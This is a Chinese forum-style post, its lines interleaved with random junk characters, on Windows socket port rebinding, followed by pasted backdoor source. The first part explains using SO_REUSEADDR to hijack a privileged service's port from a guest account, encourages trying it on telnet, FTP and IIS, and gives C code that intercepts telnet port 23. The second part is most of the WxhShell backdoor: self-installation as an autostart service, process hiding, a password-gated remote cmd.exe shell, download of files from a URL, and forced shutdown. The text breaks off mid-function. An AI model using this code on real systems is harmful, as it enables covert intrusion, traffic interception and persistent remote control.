在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
;{[>&4 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Fk;oE'"D Nr<`Z saddr.sin_family = AF_INET;
z\ss4 q}BzyC=:n saddr.sin_addr.s_addr = htonl(INADDR_ANY);
gnp~OVDqfL ^04Q %, bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
tcr// NC qo@vE 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
t2" (2 !
Z`0(d 这意味着什么?意味着可以进行如下的攻击:
w6dFb6~R raVA?|'g~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
+ 1IQYa| /"H`.LD.? 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
w=h1pwY f~OU*P>V@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Xb
!MaNm) P #F=c34u 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
vzel# Y!q!5Crfi 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
-V"22sR] Hd7,ZHj3^ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
I2$T"K:eo $GQ`clj< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
l JP1XzN_ 8 #X5K #include
yL^UE=#C_ #include
+`M!D }! #include
LWsP ya #include
']-@?sD$ DWORD WINAPI ClientThread(LPVOID lpParam);
y|&}.~U[ int main()
Mr--4D0Hk {
pu!d qF< WORD wVersionRequested;
e7fiGl DWORD ret;
3($"q]Y WSADATA wsaData;
%u^JpC{E BOOL val;
-5>-%13 SOCKADDR_IN saddr;
G'zF)0oD SOCKADDR_IN scaddr;
;VO.!5W@eg int err;
aKUS5jDu SOCKET s;
\?j E#^ SOCKET sc;
XS0xLt= int caddsize;
]u-]'P HANDLE mt;
I]Tsz'T!9 DWORD tid;
``,k5!a66\ wVersionRequested = MAKEWORD( 2, 2 );
=ItkFjhBc err = WSAStartup( wVersionRequested, &wsaData );
dLsn\m> if ( err != 0 ) {
xCzebG[" printf("error!WSAStartup failed!\n");
_ 7PMmW@ return -1;
>StO.Q99 }
fW`&'! saddr.sin_family = AF_INET;
kY,U8a3! 1C Pjil*eb //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Iq+>qX D47R saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
dt[k\ !-v saddr.sin_port = htons(23);
mDGn:oRj if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@cRZk`|1n {
wi8Yl1p]!z printf("error!socket failed!\n");
}~h'FHCC+ return -1;
6~#Ih)K }
HIGq%m=-x val = TRUE;
;U:
{/ //SO_REUSEADDR选项就是可以实现端口重绑定的
2,vB'CAI if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
7:]Pl=:X {
J`IDlGFYp printf("error!setsockopt failed!\n");
G
a;.a return -1;
M L7\BT }
Ov-b:lH //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Gc.P,K/hr //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
2nb:) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
2RF^s.W $rXh0g if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
r[.>P$U
{
obK*rdg, ret=GetLastError();
9p 4"r^ printf("error!bind failed!\n");
Obw?_@X return -1;
Z3;!l }
C 8#@+ Q. listen(s,2);
wOQ#N++C while(1)
<?D[9Mk$ {
IfO;S*Qt caddsize = sizeof(scaddr);
*F>v]8 //接受连接请求
vN4Qdpdb sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
= 5D nR if(sc!=INVALID_SOCKET)
1tCQpf {
H7+Xs% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
E^_wI> if(mt==NULL)
RWgDD;&_[a {
oIGrA-T} printf("Thread Creat Failed!\n");
V&soN:HS break;
6m .k;' }
~,D@8tv }
p3ISWJa! CloseHandle(mt);
`"i Y* }
Q@e[5RA+] closesocket(s);
Mcw4!{l` WSACleanup();
n[Zz]IO,g return 0;
, "jbq~ }
pqvOJ#?Q}= DWORD WINAPI ClientThread(LPVOID lpParam)
gIR^)m {
r
_,_5
@0e SOCKET ss = (SOCKET)lpParam;
MyJ4><oG SOCKET sc;
z|G9,:9 unsigned char buf[4096];
OQ :dJe6 SOCKADDR_IN saddr;
oRN-xng long num;
f:zFFpP.j@ DWORD val;
,3v+PIcMM+ DWORD ret;
s#h8%[' //如果是隐藏端口应用的话,可以在此处加一些判断
Q|}aR:4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
|CgnCUv+ saddr.sin_family = AF_INET;
]U[X1W+@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
JJV0R}z?TV saddr.sin_port = htons(23);
o
sbHs$C if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
bf_I9Z3m {
NRnRMY- printf("error!socket failed!\n");
0U66y6 return -1;
)PkNWj6%y }
Xf=XBoN| val = 100;
d{et8N if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0Q1FL MLV {
qo+N,x9o ret = GetLastError();
k<w(i
k1bi return -1;
Xqp|VbDca }
{P8[X@Lu if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
A6<C-1
N}j {
He0=-AR8 ret = GetLastError();
"`}~~.q return -1;
F}J-gZl }
6
y"-I!& if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
+&tgJ07A {
Y9SGRV( printf("error!socket connect failed!\n");
Nd:R"
p*8 closesocket(sc);
fQWIw closesocket(ss);
SEQ%'E5-' return -1;
g1(Xg. }
[\)oo while(1)
y<W8Q<9 {
kI*(V[i //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
*VSel4;\t //如果是嗅探内容的话,可以再此处进行内容分析和记录
3zuF{Q2P< //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
@e~]t}fH num = recv(ss,buf,4096,0);
OwzJO if(num>0)
di9!lS$ send(sc,buf,num,0);
Hx^!:kxk else if(num==0)
z;]CmR@Ki break;
N)R[6u} num = recv(sc,buf,4096,0);
I9$c F)zk if(num>0)
XXmE+aI send(ss,buf,num,0);
m!XI {F@x else if(num==0)
"re-@Baw break;
u#W5`sl }
B UUf;Vv closesocket(ss);
0m[dP closesocket(sc);
\a"Ct' return 0 ;
ydl jw }
4kp im ?{o/I\\ [~5p>' ==========================================================
maMHZ\Q {hSGv 下边附上一个代码,,WXhSHELL
nR
\'[~+ ${~|+zdB ==========================================================
Itm8b4e9; &0N<ofYX #include "stdafx.h"
~+D*:7Y_ E
?2O( #include <stdio.h>
;:&?=d #include <string.h>
i;\s.wrzH #include <windows.h>
WiNT;v[ #include <winsock2.h>
-ML6d&cm #include <winsvc.h>
B,$l4m4 #include <urlmon.h>
&znH!AQ0 HgBJf~q~U #pragma comment (lib, "Ws2_32.lib")
n[xkSF^) #pragma comment (lib, "urlmon.lib")
$BN15x0/:~ +\`vq"e #define MAX_USER 100 // 最大客户端连接数
W@L3+4 #define BUF_SOCK 200 // sock buffer
[um&X=1V8 #define KEY_BUFF 255 // 输入 buffer
}m]q}r 33l>{(y #define REBOOT 0 // 重启
2H#N{>7 #define SHUTDOWN 1 // 关机
H(+<)qH l'4AF|
p #define DEF_PORT 5000 // 监听端口
D _X8- &!.HuRiuC #define REG_LEN 16 // 注册表键长度
iMP #define SVC_LEN 80 // NT服务名长度
n/e
BE q ?4t-caK^u // 从dll定义API
1V&PtI3!! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Z%o7f6P0IX typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
PY\PUMF> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
BWPP5X9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Lf}8qB#Y ?dy~mob // wxhshell配置信息
uPyVF-i struct WSCFG {
^z1IN-Tm/ int ws_port; // 监听端口
s}x>J8hK char ws_passstr[REG_LEN]; // 口令
l4'~}nn(Y int ws_autoins; // 安装标记, 1=yes 0=no
>}+Q:iNQ)2 char ws_regname[REG_LEN]; // 注册表键名
a^nAZ char ws_svcname[REG_LEN]; // 服务名
uq7T{7~< char ws_svcdisp[SVC_LEN]; // 服务显示名
Os),;W0w4 char ws_svcdesc[SVC_LEN]; // 服务描述信息
V}8$p8#<@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
#m. AN int ws_downexe; // 下载执行标记, 1=yes 0=no
JV"NZvjN7d char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
IFNWS,: char ws_filenam[SVC_LEN]; // 下载后保存的文件名
I8m:3fL" ^%bBW6eZ };
>mu)/kl I?Y d
// default Wxhshell configuration
54p tP struct WSCFG wscfg={DEF_PORT,
sLh0&R7 "xuhuanlingzhe",
Iq'O 1,
x2wg^$F*oO "Wxhshell",
X33v:9= "Wxhshell",
N{akg90 "WxhShell Service",
HQVh+ ( "Wrsky Windows CmdShell Service",
0A$SYF$O+[ "Please Input Your Password: ",
oN2=DYC41 1,
iSp "
http://www.wrsky.com/wxhshell.exe",
9w~cvlv[ "Wxhshell.exe"
I=dGq;Jaz };
D!>
d0k,Y e$l6gY // 消息定义模块
LVtu*k char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
9Ld9N;rWm# char *msg_ws_prompt="\n\r? for help\n\r#>";
<bmLy_": char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
hq_~^/v\ char *msg_ws_ext="\n\rExit.";
)@7DsV/M char *msg_ws_end="\n\rQuit.";
ija:H'j char *msg_ws_boot="\n\rReboot...";
s${_K* g6 char *msg_ws_poff="\n\rShutdown...";
=G>(~+EA char *msg_ws_down="\n\rSave to ";
$3
8gs{+ 2hOPzv&B char *msg_ws_err="\n\rErr!";
zhEo(kU!
char *msg_ws_ok="\n\rOK!";
cy3ww}) @ RR\lZ char ExeFile[MAX_PATH];
R9dP ,<2 int nUser = 0;
BA+_C]%ZJ HANDLE handles[MAX_USER];
L'kq>1QWf int OsIsNt;
r2eQ{u{nX mBl7{w;Iv SERVICE_STATUS serviceStatus;
=&U`9qN SERVICE_STATUS_HANDLE hServiceStatusHandle;
|qUrEGjiSS uDG+SdyN@ // 函数声明
)s")y int Install(void);
|HbEk[?^s int Uninstall(void);
av' *u int DownloadFile(char *sURL, SOCKET wsh);
Wc'Ehyi; int Boot(int flag);
9;f|EGwZ void HideProc(void);
:EHQ .^ int GetOsVer(void);
ZlR!s!vv int Wxhshell(SOCKET wsl);
Aka^e\Y@6* void TalkWithClient(void *cs);
womq^h6 int CmdShell(SOCKET sock);
R_e)mkE int StartFromService(void);
g()m/KS< int StartWxhshell(LPSTR lpCmdLine);
I6dm@{/:> D s-` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
y4F^|kS) [ VOID WINAPI NTServiceHandler( DWORD fdwControl );
gg]~2f -J$g(sikt // 数据结构和表定义
7kz-V. SERVICE_TABLE_ENTRY DispatchTable[] =
960qvz! {
HHS45kg[c {wscfg.ws_svcname, NTServiceMain},
K5flit4- {NULL, NULL}
981!2* };
EF;,Gjh5p 31XU7A // 自我安装
olty4kGD$V int Install(void)
ROoE%%8I {
0n5UKtB char svExeFile[MAX_PATH];
@>O&Cpt HKEY key;
v]bAWo strcpy(svExeFile,ExeFile);
f=ib9WbR# TETsg5# // 如果是win9x系统,修改注册表设为自启动
.hN3`>*V if(!OsIsNt) {
h~ha if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
rSyaZ6# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0j@Ix EPs RegCloseKey(key);
9~Xg#{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Fk$@Yy+}e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y><(? RegCloseKey(key);
D@hmO]5c return 0;
(!n-Age }
E~He~wHWe }
{wu!6\:<?? }
37>MJ else {
H1Xov r ,OB&nN t> // 如果是NT以上系统,安装为系统服务
Nmf#`+7gCI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
<nA3Sd"QfV if (schSCManager!=0)
A?Sm-#n{ {
qJMp1DC SC_HANDLE schService = CreateService
b\L)m ( (
%HEmi; schSCManager,
`@$YlFOW wscfg.ws_svcname,
Ihef$, wscfg.ws_svcdisp,
LXxl ?D SERVICE_ALL_ACCESS,
lIl9ypikg SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
7.|S>+Q SERVICE_AUTO_START,
`Kp}s< SERVICE_ERROR_NORMAL,
s5.k|!K svExeFile,
Wf1-"Q NULL,
-s~p}CQ. NULL,
'%Dg{ zL NULL,
R6Pz#`n NULL,
bX{PSjD NULL
g
=\13#F );
J~2CD*v if (schService!=0)
m){&:Hs {
}rxFS
<j CloseServiceHandle(schService);
M=Is9)y CloseServiceHandle(schSCManager);
ddMM74 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
p;ZDpR strcat(svExeFile,wscfg.ws_svcname);
f[M"EMy if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Ap,q
`S RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
K!b>TICa: RegCloseKey(key);
]}_,U!`8 return 0;
"0Y&~q[= }
"GB UQ} }
+2(PcJR~ CloseServiceHandle(schSCManager);
YD+QX@ }
d.1Q~&` }
g[<uwknf ke</x+\F return 1;
|vN$"mp^a }
B)d@RAk 9;:7e*x]lc // 自我卸载
A>y#}^l] int Uninstall(void)
Oi#k:vq4 {
sp,(&Y]US HKEY key;
| &\^n2`> -CZ-l;5 if(!OsIsNt) {
C9+Dw#-fV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Xa\]ua_ RegDeleteValue(key,wscfg.ws_regname);
?/L1tX) RegCloseKey(key);
T/3;NXe6E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'Sk6U]E~ RegDeleteValue(key,wscfg.ws_regname);
#|D:f~"d3 RegCloseKey(key);
:if5z2PE/ return 0;
!j'guT&9] }
m"1
? }
p!V)55J* }
@@xF#3 else {
;WPI+`- l>33z_H^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
)%1&/uN) if (schSCManager!=0)
M{y|7e%K {
c'[( d5^| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
.;}pU!S~R if (schService!=0)
JG1LS$p^ {
;W =by2x* if(DeleteService(schService)!=0) {
3pzOt&T|w CloseServiceHandle(schService);
r6/<&1[ CloseServiceHandle(schSCManager);
s
UvKA0 return 0;
,7/\&X<`B }
4v i B=> CloseServiceHandle(schService);
;+!xZOmm }
sd7Y6?_C CloseServiceHandle(schSCManager);
i@%L_[MtA }
$jDD0<F.# }
;vZ*,q6 ug>]U ~0 return 1;
E ,Dlaq }
]*;RHy9 @)8NI[=6O // 从指定url下载文件
*GB$sXF int DownloadFile(char *sURL, SOCKET wsh)
+# A|Zp< {
$::51#^Wg HRESULT hr;
(p'/p char seps[]= "/";
Gu<W:n[ char *token;
i,^>uf char *file;
LjX&', char myURL[MAX_PATH];
</~1p~=hAt char myFILE[MAX_PATH];
__Vg/C!W XWJ0=t&} strcpy(myURL,sURL);
_y.mpX& token=strtok(myURL,seps);
3" 8t)s while(token!=NULL)
F5Cqv0HV {
%YsRm%q file=token;
B&to&|jf token=strtok(NULL,seps);
BD<rQ mfA^ }
6B4hSqjh <;.}WQC GetCurrentDirectory(MAX_PATH,myFILE);
*
N2#{eF&] strcat(myFILE, "\\");
* ,|)~$=> strcat(myFILE, file);
r< N-A?a send(wsh,myFILE,strlen(myFILE),0);
&*h`b{] send(wsh,"...",3,0);
~r7DEy|+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
"`H=AX0 if(hr==S_OK)
5QCw5N return 0;
]M02>=1 else
z0FR33- return 1;
jLpgWt`8)E xUV_2n+ }
gogl[gHO U!3uaz' // 系统电源模块
g#pIMA#/ int Boot(int flag)
jKe$&.q@ {
>:(6{}b HANDLE hToken;
'lSnyW{ TOKEN_PRIVILEGES tkp;
%>oT7|x U<#$w{d: if(OsIsNt) {
i|::vl OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
)L&n)w LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
y?rK5Yos tkp.PrivilegeCount = 1;
T(t
<Ay?c tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[0(
E>vm AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
%`8KG(F^ if(flag==REBOOT) {
AiR%MD if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
c=uBT K* return 0;
Zi15wE }
!c3Qcva else {
vgd}09y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
loAfFK>g return 0;
(dw3'W }
OoA5!HEh }
8tG/VE[ else {
e\+~ if(flag==REBOOT) {
wt3Z?Pb if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
T/X?ZK(T return 0;
F5om-tzy }
4 @ydK else {
rZwf%} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
&eLQ;<qO*| return 0;
%m0L!|E }
#Q!c42}M }
s0`]!7D< Q*oA{eZY return 1;
PAO[Og,- }
H@OrX hA&j?{ // win9x进程隐藏模块
UGezo3} void HideProc(void)
H_xQ>~b {
~Iu21Q(* e2_r0I^C HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%$!R] B) if ( hKernel != NULL )
9 Le/'o vq {
v\r7.l:hf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
}(O D< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
3HDnOl8t FreeLibrary(hKernel);
._F6- pl }
ft.}$8vIT Oujlm| return;
f"OA Zji }
hIg, 0B .P0Qs&i // 获取操作系统版本
MSrY*)n!>O int GetOsVer(void)
GYy!`E {
e
P,XH{s OSVERSIONINFO winfo;
LbmB([p winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
(Mire%$h GetVersionEx(&winfo);
'"G
%0y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
+h9l%Pz return 1;
+X|m>9 else
GhfUCW% return 0;
u3v6$CD? }
`mHOgS>| Z ^9{Qq // 客户端句柄模块
AcfkY m~ int Wxhshell(SOCKET wsl)
X?k V1 {
4q2=:"z4 SOCKET wsh;
GwIfGixqH struct sockaddr_in client;
JWm^RQ DWORD myID;
@{$Cv"6769 r>:7${pF while(nUser<MAX_USER)
M&BM,~ {
~jCpL@rS int nSize=sizeof(client);
8BoT%kVeJv wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
6XxG1]84 if(wsh==INVALID_SOCKET) return 1;
h1UlLy8 KE)D =P handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
3I{ta/( if(handles[nUser]==0)
)su
<Ji* closesocket(wsh);
%?9r (& else
R4rm>zisVX nUser++;
O|7{%5h }
Ns(L1'9= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Vlxb<$5Nh yPxG`w' return 0;
bQ\ -6dOtv }
j*Wh;I+h '2qxcc o // 关闭 socket
-aeo7C void CloseIt(SOCKET wsh)
l1|,Lr {
Gk]qE]hi closesocket(wsh);
E(4lu% nUser--;
1j)!d$8 ExitThread(0);
:"+UG-S$6 }
meVVRFQ2+ QmkC~kK1. // 客户端请求句柄
8UY=}R2C void TalkWithClient(void *cs)
pQ-^T.' {
LK-6z w5=( kI[O {<kQ SOCKET wsh=(SOCKET)cs;
_2Xu1q.6~5 char pwd[SVC_LEN];
_=^hnv char cmd[KEY_BUFF];
m-KK
{{ char chr[1];
elHarey`f int i,j;
7[.Q.3FL i11GW while (nUser < MAX_USER) {
<W[8k-yOV` _>)"+z^r if(wscfg.ws_passstr) {
cZX&itVc: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
bZlLivi //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1S.e5{ //ZeroMemory(pwd,KEY_BUFF);
@7Rt[2"e i=0;
kpreTeA] while(i<SVC_LEN) {
`6/Yf@b SUi1*S // 设置超时
wj:3 fd_set FdRead;
zam0(^= struct timeval TimeOut;
g l\$jDC9 FD_ZERO(&FdRead);
E `j5y(44 FD_SET(wsh,&FdRead);
/$.vHt5nt TimeOut.tv_sec=8;
@ un TimeOut.tv_usec=0;
;gu>;_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
WQmiG=Dw^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
hz|z&vyP {S:3
FI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
uV$d7(N}" pwd
=chr[0]; 3%4Mq6Q`
if(chr[0]==0xd || chr[0]==0xa) { D.CsnfJ
pwd=0;
Dmv
break; $cpQ7
} kkBV;v%a
i++; =28H^rK{
} 1eyyu!
BG? 2PO{
// 如果是非法用户,关闭 socket h
_7;UQH
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KA{DN!
} GvtI-\h]
V5@[7ncVf
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7<'i #E~
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :-@P3F[0
d*:qFq_
while(1) { Olh%"=*;
wQuaB6E
ZeroMemory(cmd,KEY_BUFF); 0]w[wc
<
#YYvc`9
// 自动支持客户端 telnet标准 ]B'
j=0; c1!/jTX$
while(j<KEY_BUFF) { jG ;(89QR/
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ./*,Thc
cmd[j]=chr[0];
>Pd23TsN
if(chr[0]==0xa || chr[0]==0xd) { JP*wi-8D
cmd[j]=0; Y'H/
$M N
break; xdU
pp~}+.
} _$_CR\$
j++; FT<*
} z>g& ?vo2
Ywk[VD+.
// 下载文件 _p2<7x i
if(strstr(cmd,"http://")) { 9@*>$6
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0bL=l0N$W
if(DownloadFile(cmd,wsh)) UT7lj wT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sW3D
(
n
else oc%le2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XlJux_LD:
}
%!h+
else { ZUI9[A?
n
ZZQxV,
switch(cmd[0]) { Z4zMa&
G.ARu-2's
// 帮助 'wq:F?viF
case '?': { ^52R`{
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )g^Ewzy^X
break; ly5L-=Xb
} M@[gT?mv1
// 安装 ]@T `qR
case 'i': { F9J9pgVP
if(Install()) DJjDKVO5t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >mSl~.I2
else %9)J-B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gCI'YEx
break; &: 8 &;vk
} "$;:dfrU
// 卸载 PH &ms
case 'r': { $^ dk>Hj>4
if(Uninstall()) / hdl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U.h PC3
else !7*/lG
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \)kAhKtG
break; 1vudT&
} <$6E r
// 显示 wxhshell 所在路径 *0ntx$M-w
case 'p': { ;| ,Y2?
char svExeFile[MAX_PATH]; 3H%WB|
strcpy(svExeFile,"\n\r"); IH:Cm5MV
strcat(svExeFile,ExeFile); ${eh52)`
send(wsh,svExeFile,strlen(svExeFile),0); bdhgHjz
break; . L%@/(r
} T )]|o+G
// 重启 v!C+W$,T
case 'b': { Gw,kC{:C
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tV4aUve
if(Boot(REBOOT)) y~1php>2f1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M<pgaB0
else { ?y@pRe$2
closesocket(wsh); '2{o_<m
ExitThread(0); nE%qm -
} V7i`vo3Cc
break; t4f\0`jN
} VO?NrKyeW
// 关机 :?W:'% (`[
case 'd': { %,RU)}
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vp4]
if(Boot(SHUTDOWN)) swbD q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YHAg4eb8
else { $>m<+nai'
closesocket(wsh); 7^X_tQf
ExitThread(0); W4a20KM2
} 9oz)E>K4f
break; K#m o+n5-;
} V#KM~3e
// 获取shell SJ@_eir\o
case 's': { p4_uY7^6
CmdShell(wsh); `"4EE}eQc
closesocket(wsh); AOUO',v
ExitThread(0); "ET"dMxU
break; nzDY!Y
} mn` Ae=
// 退出 HEN9D/O=
case 'x': { U%l{>*q
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .C?g nOq
CloseIt(wsh); I]1fH
break; .?NAq[H%
} &T}e93]
// 离开 }$U6lh/Ep
case 'q': { !1R
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zv7)+Q
closesocket(wsh); xy>mM"DOH
WSACleanup(); z0Hh8*
exit(1); +[+Jd)Z
break; Lq^/Z4L
} cKAl 0_[f"
} \ S R
} 5H2|:GzUc
I*"]!z1
// 提示信息 ;'}xD5]
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ktRdf6:~
}
VVY\W!
} +a;j>hh
i|Wn*~yFOO
return; RJM(+5xQ|
} /2 N%Z
eKOTxv{
// shell模块句柄 mH"`46
int CmdShell(SOCKET sock) L_|Y_=r."
{ +/tD$
STARTUPINFO si; GS%Dn^l
ZeroMemory(&si,sizeof(si)); I'wAgf6W
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eF@E|kK
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fCR;Fk2B
PROCESS_INFORMATION ProcessInfo; &-A7%"
char cmdline[]="cmd"; 1;V5b+b
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g&V.o5jIhc
return 0; Xqk$[peS
} oGZ9@Y)(T
\ZB;K~BV&
// 自身启动模式 OoNAW<
int StartFromService(void) }2S \-
{ XijQ)}'C3
typedef struct I(e>ff
{ ';%g^!lM
a
DWORD ExitStatus; WjB[e>
DWORD PebBaseAddress; W%o){+,
DWORD AffinityMask; x4K5
DWORD BasePriority; |%} ?*|-
ULONG UniqueProcessId; 4=Zlsp
